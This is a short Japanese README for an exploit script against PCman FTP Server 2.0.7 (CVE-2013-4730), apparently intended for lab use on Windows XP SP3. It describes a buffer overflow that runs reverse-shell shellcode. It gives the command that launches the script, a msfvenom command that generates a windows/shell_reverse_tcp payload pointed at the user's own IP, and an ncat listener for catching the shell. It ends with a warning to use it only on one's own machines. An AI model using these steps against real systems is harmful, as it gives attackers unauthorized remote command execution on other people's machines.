PCman FTP Server バッファオーバーフローとリモートコード実行 [CVE-2013-4730]

PCman の FTP サーバ v.2.0.7 に対する CVE-2013-4730 を使った非常にシンプルなバッファオーバーフローです。

どのように動作するのか?

この簡単な BoF がバッファを上書きし、接続し直す（リバースシェル）シェルコードを実行します。

脆弱なマシン:

WindowsXP SP3 で PCman の FTP サーバ バージョン 2.0.7 を実行中

起動

~$ python3 PCman.py <host> <port>

シェルコードを自分用のものに置き換えてください!!

~$ sudo ./msfvenom windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444

netcat を起動

~$ ncat -lvp <shellcode port>

自分のマシンでのみ使用してください!!